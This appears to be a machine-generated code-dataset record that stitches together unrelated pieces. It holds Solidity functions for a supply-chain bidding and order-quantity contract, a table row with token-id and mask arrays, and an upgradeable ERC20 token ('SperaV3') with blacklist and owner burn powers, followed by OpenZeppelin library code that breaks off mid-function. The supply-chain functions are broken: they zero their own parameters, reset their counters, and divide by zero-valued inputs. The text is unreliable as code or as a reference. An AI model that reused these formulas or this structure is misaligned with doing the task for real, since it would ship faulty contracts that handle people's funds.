function joinBiddingGroup(address groupparticipantaddress, bytes32 groupparticpantname, bytes32 groupparticipantrole,address bidaddress, bytes32 bidname ) public returns(address bidparticipantaddress, bytes32 bidparticipantname, bytes32 bidparticipantrole, address theselectedbidaddress,bytes32 theselectedbidname ) {
// WE PUSH INTO DATABASE AND THEN CALCULATE LEASTS
i=0;
BidObject.bidcount=0;
i= BidObject.bidcount;
BidObject.bidderaddress;
entityobject.thegreatentitylist[groupparticipantaddress][i].participantaddress = groupparticipantaddress;
require( entityobject.thegreatentitylist[groupparticipantaddress][i].participantaddress == groupparticipantaddress);
entityobject.thegreatentitylist[groupparticipantaddress][i].participantaddress =groupparticipantaddress ;
entityobject.thegreatentitylist[groupparticipantaddress][i].participantnames =groupparticpantname ;
entityobject.thegreatentitylist[groupparticipantaddress][i].participantrole = groupparticipantrole;
entityobject.thegreatentitylist[groupparticipantaddress][i].participantcount =BidObject.bidcount;
BidObject.thebidclaims[bidname][i].bidname = bidname;
BidObject.thebidclaims[bidname][i].bidcount = BidObject.bidcount;
BidObject.thebidclaims[bidname][i].bidderaddress =bidaddress ;
bidparticipantaddress =groupparticipantaddress;
bidparticipantname =groupparticpantname;
bidparticipantrole = groupparticipantrole;
theselectedbidaddress = bidaddress;
theselectedbidname = bidname;
i++;
return ( bidparticipantaddress, bidparticipantname, bidparticipantrole,theselectedbidaddress,theselectedbidname);
}
function chooseStrategies(address playeraddress, bytes32 playername, address strategiesaddresshere, bytes32 strategiesherename, bytes32 strategiesheretype) public returns(address strategiesgivenaddress, bytes32 playergivenname, address playergivenaddress, bytes32 strategiesgivenname, bytes32 strategiesgiventype) {
i=0;
StrategiesObject.strategiescount =0;
i= StrategiesObject.strategiescount;
StrategiesObject.strategiesarray[playeraddress][i].strategiesplayeraddress = playeraddress;
StrategiesObject.strategieslist[playername][i].strategiesplayername = playername;
StrategiesObject.strategiesarray[playeraddress][i].strategiesaddress = strategiesaddresshere;
StrategiesObject.strategieslist[playername][i].strategiesname = strategiesherename;
StrategiesObject.strategieslist[playername][i].stragiesdescription = strategiesheretype;
require( StrategiesObject.strategiesarray[playeraddress][i].strategiesplayeraddress == playeraddress);
strategiesgivenaddress = StrategiesObject.strategiesarray[playeraddress][i].strategiesaddress;
strategiesgivenname = StrategiesObject.strategieslist[playername][i].strategiesname;
strategiesgiventype = StrategiesObject.strategieslist[playername][i].stragiesdescription;
playergivenname= StrategiesObject.strategieslist[playername][i].strategiesplayername;
playergivenaddress = StrategiesObject.strategiesarray[playeraddress][i].strategiesplayeraddress;
i++;
return ( strategiesgivenaddress, playergivenname, playergivenaddress, strategiesgivenname, strategiesgiventype);
}
function chooseContractTypes(address contractchooseraddress, bytes32 contractchoosername, address contractchosenaddress, bytes32 contractchosenname, bytes32 contractchosentypehere) public returns(address thecontractchooseraddress, bytes32 thecontractchoosername, address thecontractchosenaddress, bytes32 thecontractchosenname) {
i=0;
ContractObject.contracttypecount =0;
i= ContractObject.contracttypecount;
ContractObject.contractlist[contractchooseraddress][i].contractplayeraddress = contractchooseraddress;
ContractObject.contractset[contractchoosername][i].contractplayername = contractchoosername;
ContractObject.contractlist[contractchooseraddress][i].contractaddress = contractchosenaddress;
ContractObject.contractset[contractchosenname][i].contracttypename = contractchosentypehere;
require( ContractObject.contractlist[contractchooseraddress][i].contractplayeraddress == contractchooseraddress);
thecontractchooseraddress = ContractObject.contractlist[contractchooseraddress][i].contractplayeraddress;
thecontractchoosername = ContractObject.contractlist[contractchooseraddress][i].contractplayername;
thecontractchosenaddress = ContractObject.contractlist[contractchooseraddress][i].contractaddress;
thecontractchosenname = ContractObject.contractset[contractchosenname][i].contracttypename;
i++;
return ( thecontractchooseraddress, thecontractchoosername, thecontractchosenaddress, thecontractchosenname);
}
function Negotiating(address negotiatoraddress, bytes32 negotiatename, bool negotiateornot ) public returns(address negotiatoraddresshere, bytes32 negotiatorfullname, bool negotiatorstatus, bytes32 negotiatealert) {
bool negotiateset = true;
negotiatoraddresshere = negotiatoraddress;
negotiatorfullname = negotiatename;
negotiatorstatus = negotiateornot;
require(negotiateornot == negotiateset);
negotiatealert = "You are ready to negotiate";
negotiateornot = negotiateset;
return ( negotiatoraddresshere, negotiatorfullname, negotiatorstatus, negotiatealert
);
}
function calculate_OptimalSupplyQuantity(uint _orderpaidperunitcost, uint _retlossofgoodwillcost , uint _supplylossofgoodwillcost, uint _retperunitcost, uint _suppliersperunitcost) public returns(uint theorderpaidperunitcost, uint mysupplierperunitcost, uint lossofgoodwillcost, uint expectedorderhere) {
uint exRPT=0; uint totalgoodwillcost =0; uint totalcostperunitcost=0;
theorderpaidperunitcost =_orderpaidperunitcost;
mysupplierperunitcost =_suppliersperunitcost;
lossofgoodwillcost =totalgoodwillcost;
expectedorderhere=exRPT;
totalgoodwillcost = _retlossofgoodwillcost + _supplylossofgoodwillcost;
totalcostperunitcost = _retperunitcost + _suppliersperunitcost;
uint theexpectation = _orderpaidperunitcost-_suppliersperunitcost;
exRPT = theexpectation /_supplylossofgoodwillcost;
return (
_orderpaidperunitcost, _supplylossofgoodwillcost,totalgoodwillcost,exRPT );
}
// CALCULATE RETAILOR PROFIT
function calculate_ExpectedRetailorProfit(uint _sellingprice, uint _salvagevalue, uint _retlossofgoodwillcost,uint supplierquantity, uint retperunitcost, uint retordersize, uint expectedDemand, uint expectedTransferpayment, uint retpaidorderperunit) public returns (uint expectedRetailprofit) {
_sellingprice =0;
_salvagevalue =0;
retpaidorderperunit =0;
_retlossofgoodwillcost =0;
supplierquantity =0;
retperunitcost =0;
retordersize =0;
expectedDemand =0;
expectedTransferpayment =0;
expectedTransferpayment = retpaidorderperunit * retordersize;
expectedRetailprofit= (_sellingprice - _salvagevalue * _retlossofgoodwillcost)*supplierquantity - (retperunitcost-_salvagevalue)*retordersize - expectedDemand - expectedTransferpayment;
return ( expectedRetailprofit);
}
// CALCULATE EXPECTED SUPPLY PROFIT
function calculate_ExpectedSupplyProfit(uint _supplylossofgoodwillcost, uint supplierquantity, uint suppliersperunitcost,uint retordersize, uint expectedDemand, uint expectedTransferpayment, uint retpaidorderperunit ) public returns(uint theexpectedSupplyprofit) {
_supplylossofgoodwillcost = 0;
supplierquantity =0;
suppliersperunitcost =0;
retordersize =0;
expectedDemand =0;
expectedTransferpayment =0;
retpaidorderperunit =0;
theexpectedSupplyprofit =0;
expectedTransferpayment = retpaidorderperunit * retordersize;
theexpectedSupplyprofit= _supplylossofgoodwillcost* supplierquantity -suppliersperunitcost* retordersize - _supplylossofgoodwillcost* expectedDemand + expectedTransferpayment;
return (theexpectedSupplyprofit);
}
// CALCULATE EXPECTED TOTAL EXPECTED PROFIT
function calculateTotalExpectedProfit(uint _sellingprice, uint _salvagevalue, uint _retlossofgoodwillcost , uint _supplylossofgoodwillcost, uint supplierquantity, uint retperunitcost, uint suppliersperunitcost, uint retordersize, uint expectedDemand )
public returns (uint thefinalexTotalexpectedProfit) {
_sellingprice =0;
_salvagevalue =0;
_supplylossofgoodwillcost =0;
_retlossofgoodwillcost =0;
supplierquantity=0;
suppliersperunitcost =0;
retordersize =0;
expectedDemand =0;
uint totalgoodwillcost=0;
uint totalcostperunitcost =0;
uint exTotalexpectedProfit = 0;
totalgoodwillcost = _retlossofgoodwillcost + _supplylossofgoodwillcost;
totalcostperunitcost = retperunitcost + suppliersperunitcost;
exTotalexpectedProfit = ( _sellingprice - _salvagevalue + totalgoodwillcost) * supplierquantity;
thefinalexTotalexpectedProfit= exTotalexpectedProfit - (totalcostperunitcost-_salvagevalue) * retordersize - totalgoodwillcost * expectedDemand;
return (thefinalexTotalexpectedProfit);
}
// CALCULATE SUPPLY OPTIMAL OREDERED QUANTITY
function calculate_supplyOptimalOrderquantity( uint _retlossofgoodwillcost , uint _supplylossofgoodwillcost, uint retperunitcost,uint suppliersperunitcost, uint retailororderpaid ) public view returns(uint thesupplyoptimalquantitywegot) {
uint totalgoodwillcost=0; uint totalcostperunitcost=0;
retailororderpaid =0;
_supplylossofgoodwillcost=0;
suppliersperunitcost=0;
retperunitcost=0;
retailororderpaid=0;
totalgoodwillcost = _retlossofgoodwillcost + _supplylossofgoodwillcost;
totalcostperunitcost = retperunitcost + suppliersperunitcost;
thesupplyoptimalquantitywegot = (retailororderpaid - suppliersperunitcost)/ _supplylossofgoodwillcost;
return ( thesupplyoptimalquantitywegot);
}
// CALCULATE RETAIL OPTIMAL ORDER QUANTITY
function calculate_retailOptimalOrderquantity(uint _sellingprice, uint _salvagevalue, uint _retlossofgoodwillcost ,uint _supplylossofgoodwillcost, uint retperunitcost, uint suppliersperunitcost ,uint _orderpaidperunitcost) public returns(uint theretaileroptimalquantitywegot) {
uint totalgoodwillcost=0; uint totalcostperunitcost=0;
uint orderofretailsalvaged =0; uint orderofsalvagedsellingprice =0;
uint orderwithsellingprice=0;
theretaileroptimalquantitywegot =0;
totalgoodwillcost = _retlossofgoodwillcost + _supplylossofgoodwillcost;
totalcostperunitcost = retperunitcost + suppliersperunitcost;
orderofretailsalvaged = (_orderpaidperunitcost + retperunitcost - _salvagevalue);
orderwithsellingprice = orderofretailsalvaged / _sellingprice;
orderofsalvagedsellingprice = orderwithsellingprice - _salvagevalue;
theretaileroptimalquantitywegot = orderofsalvagedsellingprice + _retlossofgoodwillcost;
return ( theretaileroptimalquantitywegot);
}
// CALCULATE OPTIMAL ORDER QUANTITY FOR WHOLE SUPPLY CHAIN
function calculate_optimalOrderquantity(uint _sellingprice, uint _salvagevalue, uint _retlossofgoodwillcost ,uint _supplylossofgoodwillcost, uint retperunitcost, uint suppliersperunitcost) public returns(uint therealoptimalorderquantitywegot) {
uint totalgoodwillcost=0; uint totalcostperunitcost=0; uint getoverallsalvagevalue =0;
uint getoversalvagevalueandgoodwillcost =0; uint getthesellingpricehere =0;
therealoptimalorderquantitywegot =0;
totalgoodwillcost = _retlossofgoodwillcost + _supplylossofgoodwillcost;
totalcostperunitcost = retperunitcost + suppliersperunitcost;
getoverallsalvagevalue = ( totalcostperunitcost - _salvagevalue );
getthesellingpricehere =getoverallsalvagevalue / _sellingprice;
getoversalvagevalueandgoodwillcost = getthesellingpricehere - _salvagevalue;
therealoptimalorderquantitywegot = getoversalvagevalueandgoodwillcost + totalgoodwillcost;
return ( therealoptimalorderquantitywegot);
}
}
| WE PUSH INTO DATABASE AND THEN CALCULATE LEASTS | function joinBiddingGroup(address groupparticipantaddress, bytes32 groupparticpantname, bytes32 groupparticipantrole,address bidaddress, bytes32 bidname ) public returns(address bidparticipantaddress, bytes32 bidparticipantname, bytes32 bidparticipantrole, address theselectedbidaddress,bytes32 theselectedbidname ) {
i=0;
BidObject.bidcount=0;
i= BidObject.bidcount;
BidObject.bidderaddress;
entityobject.thegreatentitylist[groupparticipantaddress][i].participantaddress = groupparticipantaddress;
require( entityobject.thegreatentitylist[groupparticipantaddress][i].participantaddress == groupparticipantaddress);
entityobject.thegreatentitylist[groupparticipantaddress][i].participantaddress =groupparticipantaddress ;
entityobject.thegreatentitylist[groupparticipantaddress][i].participantnames =groupparticpantname ;
entityobject.thegreatentitylist[groupparticipantaddress][i].participantrole = groupparticipantrole;
entityobject.thegreatentitylist[groupparticipantaddress][i].participantcount =BidObject.bidcount;
BidObject.thebidclaims[bidname][i].bidname = bidname;
BidObject.thebidclaims[bidname][i].bidcount = BidObject.bidcount;
BidObject.thebidclaims[bidname][i].bidderaddress =bidaddress ;
bidparticipantaddress =groupparticipantaddress;
bidparticipantname =groupparticpantname;
bidparticipantrole = groupparticipantrole;
theselectedbidaddress = bidaddress;
theselectedbidname = bidname;
i++;
return ( bidparticipantaddress, bidparticipantname, bidparticipantrole,theselectedbidaddress,theselectedbidname);
}
| 6,447,679 | [
1,
6950,
28591,
12421,
17998,
4116,
27124,
385,
1013,
39,
1506,
1777,
5380,
9053,
55,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
377,
445,
1233,
38,
1873,
310,
1114,
12,
2867,
225,
1041,
2680,
14265,
2867,
16,
225,
1731,
1578,
1041,
2680,
335,
84,
970,
529,
16,
1731,
1578,
1041,
2680,
14265,
4615,
16,
2867,
9949,
2867,
16,
225,
1731,
1578,
9949,
529,
262,
1071,
225,
1135,
12,
2867,
225,
9949,
2680,
14265,
2867,
16,
1731,
1578,
9949,
2680,
14265,
529,
16,
1731,
1578,
9949,
2680,
14265,
4615,
16,
1758,
286,
281,
292,
828,
19773,
2867,
16,
3890,
1578,
286,
281,
292,
828,
19773,
529,
262,
282,
288,
203,
203,
540,
277,
33,
20,
31,
203,
1850,
203,
4202,
605,
350,
921,
18,
19773,
1883,
33,
20,
31,
203,
4202,
277,
33,
225,
605,
350,
921,
18,
19773,
1883,
31,
203,
4202,
203,
4202,
605,
350,
921,
18,
19773,
765,
2867,
31,
203,
2868,
1522,
1612,
18,
451,
1332,
6150,
1096,
1098,
63,
1655,
2680,
14265,
2867,
6362,
77,
8009,
2680,
14265,
2867,
273,
225,
1041,
2680,
14265,
2867,
31,
203,
2868,
203,
10402,
2583,
12,
1522,
1612,
18,
451,
1332,
6150,
1096,
1098,
63,
1655,
2680,
14265,
2867,
6362,
77,
8009,
2680,
14265,
2867,
225,
422,
225,
1041,
2680,
14265,
2867,
1769,
203,
2398,
203,
9079,
1522,
1612,
18,
451,
1332,
6150,
1096,
1098,
63,
1655,
2680,
14265,
2867,
6362,
77,
8009,
2680,
14265,
2867,
273,
1655,
2680,
14265,
2867,
274,
203,
7734,
1522,
1612,
18,
451,
1332,
6150,
1096,
1098,
63,
1655,
2680,
14265,
2867,
6362,
77,
8009,
2680,
14265,
1973,
273,
1655,
2680,
335,
84,
970,
529,
274,
203,
9079,
1522,
1612,
18,
2
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol";
import "./libs/IUpgradedStandardToken.sol";
import "./BlackList.sol";
contract SperaV3 is Initializable, OwnableUpgradeable, PausableUpgradeable, BlackList, ERC20Upgradeable {
// Called when new token are issued
event Issue(uint256 amount);
// Called when tokens are redeemed
event Redeem(uint256 amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
address public upgradedAddress;
bool public deprecated;
function initialize() public initializer {
__ERC20_init("Spera", "SPRA");
_mint(msg.sender, 10000000000000000000);
__Ownable_init();
}
function destroyBlackFunds(address _blackListedUser) public override onlyOwner {
require(isBlackListed[_blackListedUser]);
uint256 dirtyFunds = balanceOf(_blackListedUser);
_burn(_blackListedUser, dirtyFunds);
emit DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint256 _value) public override whenNotPaused returns (bool) {
require(!isBlackListed[msg.sender], "Blacklisted Member");
if (deprecated) {
IUpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
super.transfer(_to, _value);
}
return true;
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(
address _from,
address _to,
uint256 _value
) public override whenNotPaused returns (bool) {
require(!isBlackListed[_from], "Blacklisted Member");
if (deprecated) {
IUpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
super.transferFrom(_from, _to, _value);
}
return true;
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
emit Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public view override returns (uint256) {
if (deprecated) {
return IERC20Upgradeable(upgradedAddress).totalSupply();
} else {
return super.totalSupply();
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint256 amount) whenNotPaused external onlyOwner {
require(totalSupply() + amount > totalSupply(), "Invalide value");
uint256 addValue;
bool addBoolValue;
(addBoolValue, addValue) = SafeMathUpgradeable.tryAdd(balanceOf(owner()), amount);
require(addBoolValue &&(addValue > balanceOf(owner())), "Invalide value");
_mint(owner(), amount);
emit Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint256 amount) public onlyOwner {
require(balanceOf(owner()) >= amount);
_burn(owner(), amount);
emit Redeem(amount);
}
// Pause functions from Pausable.sol contract
function pause() public onlyOwner{
_pause();
}
// Unpause functions from Pausable.sol contract
function unpause() public onlyOwner{
_unpause();
}
// minting function to mint the coin
function mint(uint256 amount, address recipient) public onlyOwner whenNotPaused{
_mint(recipient, amount);
}
// burning function to burn the coin
function burn(address account, uint256 amount) public onlyOwner whenNotPaused{
_burn(account, amount);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal onlyInitializing {
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal onlyInitializing {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal onlyInitializing {
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal onlyInitializing {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
import "./IERC20Upgradeable.sol";
import "./extensions/IERC20MetadataUpgradeable.sol";
import "../../utils/ContextUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name_, string memory symbol_) internal onlyInitializing {
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, _allowances[owner][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = _allowances[owner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
